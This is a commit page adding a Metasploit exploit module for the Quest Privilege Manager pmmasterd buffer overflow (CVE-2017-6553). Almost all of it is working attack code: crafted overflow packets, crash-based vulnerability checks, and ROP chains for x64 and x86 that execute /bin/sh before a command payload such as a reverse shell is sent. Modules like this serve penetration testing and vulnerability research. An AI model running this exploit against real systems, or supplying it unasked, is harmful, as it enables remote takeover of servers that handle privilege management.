Skip to content

Commit 9a0789f

Browse files
committed
Exploit for pmmasterd Buffer Overflow (CVE-2017-6553)
1 parent dd5a91f commit 9a0789f

File tree

1 file changed

+202
-0
lines changed

1 file changed

+202
-0
lines changed
Lines changed: 202 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,202 @@
1+
##
2+
# This module requires Metasploit: http://metasploit.com/download
3+
# Current source: https://github.com/rapid7/metasploit-framework
4+
##
5+
6+
require 'msf/core'
7+
8+
class MetasploitModule < Msf::Exploit::Remote
9+
Rank = NormalRanking
10+
11+
include Exploit::Remote::Tcp
12+
13+
def initialize(info = {})
14+
super(update_info(info,
15+
'Name' => 'Quest Privilege Manager pmmasterd Buffer Overflow',
16+
'Description' => %q{
17+
This modules exploits a buffer overflow in the Quest Privilege Manager,
18+
a software used to integrate Active Directory with Linux and Unix systems.
19+
The vulnerability exists in the pmmasterd daemon, and can only triggered when
20+
the host has been configured as a policy server ( Privilege Manager for Unix
21+
or Quest Sudo Plugin). A buffer overflow condition exists when handling
22+
requests of type ACT_ALERT_EVENT, where the size of a memcpy can be
23+
controlled by the attacker. This module only works against version < 6.0.0-27.
24+
Versions up to 6.0.0-50 are also vulnerable, but not supported by this module (stack cookies bypass is required).
25+
},
26+
'Author' =>
27+
[
28+
'm0t'
29+
],
30+
'References' =>
31+
[
32+
['CVE', '2017-6553']
33+
],
34+
'Payload' =>
35+
{
36+
'BadChars' => "",
37+
'Compat' =>
38+
{
39+
'PayloadType' => 'cmd',
40+
'RequiredCmd' => 'generic python perl ruby openssl bash-tcp'
41+
}
42+
},
43+
'Arch' => ARCH_CMD,
44+
'Platform' => 'unix',
45+
'Targets' =>
46+
[
47+
['Quest Privilege Manager pmmasterd 6.0.0-27 x64',
48+
{
49+
:exploit => :exploit_x64,
50+
:check => :check_x64
51+
}
52+
],
53+
['Quest Privilege Manager pmmasterd 6.0.0-27 x86',
54+
{
55+
:exploit => :exploit_x86,
56+
:check => :check_x86
57+
}
58+
]
59+
],
60+
'Privileged' => false, #XXX
61+
'DisclosureDate' => 'Apr 09 2017',
62+
'DefaultTarget' => 1
63+
))
64+
65+
register_options([ Opt::RPORT(12345) ], self.class)
66+
register_options( [ Opt::CPORT(rand(1024))], self.class )
67+
end
68+
69+
#definitely not stealthy! sends a crashing request, if the socket dies, or the output is partial it assumes the target has crashed. Although the daemon spawns a new process for each connection, the segfault will appear on syslog
70+
def check
71+
unless self.respond_to?(target[:check], true)
72+
fail_with(Failure::NoTarget, "Invalid target specified")
73+
end
74+
75+
return self.send(target[:check])
76+
end
77+
78+
def exploit
79+
unless self.respond_to?(target[:exploit], true)
80+
fail_with(Failure::NoTarget, "Invalid target specified")
81+
end
82+
83+
request = self.send(target[:exploit])
84+
85+
connect
86+
print_status("Sending trigger")
87+
sock.put(request)
88+
sock.get_once
89+
print_status("Sending payload")
90+
sock.put(payload.encoded)
91+
disconnect
92+
end
93+
94+
#server should crash after parsing the packet, partial output is returned
95+
def check_x64
96+
head = [ 0x26c ].pack("N")
97+
head << [ 0x700 ].pack("N")
98+
head << [ 0x700 ].pack("N")
99+
head << "\x00"*68
100+
101+
body = "PingE4.6 .0.0.27"
102+
body << rand_text_alpha(3000)
103+
104+
request = head + body
105+
106+
connect
107+
print_status("Sending trigger")
108+
sock.put(request)
109+
res = sock.timed_read(1024, 1)
110+
if res.match("Pong4$")
111+
return Exploit::CheckCode::Appears
112+
else
113+
return Exploit::CheckCode::Unknown
114+
end
115+
end
116+
117+
#server should crash while parsing the packet, with no output
118+
def check_x86
119+
head = [ 0x26c ].pack("N")
120+
head << [ 0x700 ].pack("N")
121+
head << [ 0x700 ].pack("N")
122+
head << "\x00"*68
123+
124+
body = rand_text_alpha(3000)
125+
126+
request = head + body
127+
128+
connect
129+
print_status("Sending trigger")
130+
sock.put(request)
131+
begin
132+
res = sock.timed_read(1024, 1)
133+
return Exploit::CheckCode::Unknown
134+
rescue ::Exception
135+
return Exploit::CheckCode::Appears
136+
end
137+
end
138+
139+
def exploit_x64
140+
head = [ 0x26c ].pack("N")
141+
head << [ 0x700 ].pack("N")
142+
head << [ 0x700 ].pack("N")
143+
head << "\x00"*68
144+
145+
#rop chain for pmmasterd 6.0.0.27 (which is compiled without -fPIE)
146+
ropchain = [
147+
0x408f88, # pop rdi, ret
148+
0x4FA215, # /bin/sh
149+
0x40a99e, # pop rsi ; ret
150+
0, # argv @rsi
151+
0x40c1a0, # pop rax, ret
152+
0, # envp @rax
153+
0x48c751, # mov rdx, rax ; pop rbx ; mov rax, rdx ; ret
154+
0xcacc013, # padd
155+
0x408a98, # execve,
156+
0
157+
].pack("Q*")
158+
159+
body = "PingE4.6 .0.0.27" # this works if encryption is set to AES, which is default, changing E4 to E2 might make it work with DES
160+
body << rand_text_alpha(1600)
161+
body << ropchain
162+
body << rand_text_alpha(0x700 - body.size())
163+
164+
return head + body
165+
166+
end
167+
168+
def exploit_x86
169+
head = [ 0x26c ].pack("N")
170+
head << [ 0x108 ].pack("N")
171+
head << [ 0xcc ].pack("N")
172+
head << "\x00"*68
173+
174+
#rop chain for pmmasterd 6.0.0.27 (which is compiled without -fPIE)
175+
ropchain = [
176+
0x8093262, # ret
177+
0x73, # cs reg
178+
0x804AE2C, # execve,
179+
0xcacc013, # padding
180+
0x8136CF0, # /bin/sh
181+
0,
182+
0
183+
].pack("V*")
184+
185+
pivotback = 0x08141223 # sub esp, ebx ; retf
186+
writable = 0x81766f8 # writable loc
187+
188+
body = "PingE4.6 .0.0.27" # this works if encryption is set to AES, which is default, changing E4 to E2 might make it work with DES
189+
body << rand_text_alpha(104)
190+
body << ropchain
191+
body << rand_text_alpha(0xb4 - body.size())
192+
body << [0x50].pack("V")
193+
body << rand_text_alpha(0xc4 - body.size())
194+
body << [pivotback].pack("V")
195+
body << [writable].pack("V")
196+
body << rand_text_alpha(0x108 - body.size())
197+
198+
return head + body
199+
end
200+
201+
end
202+

0 commit comments

Comments
 (0)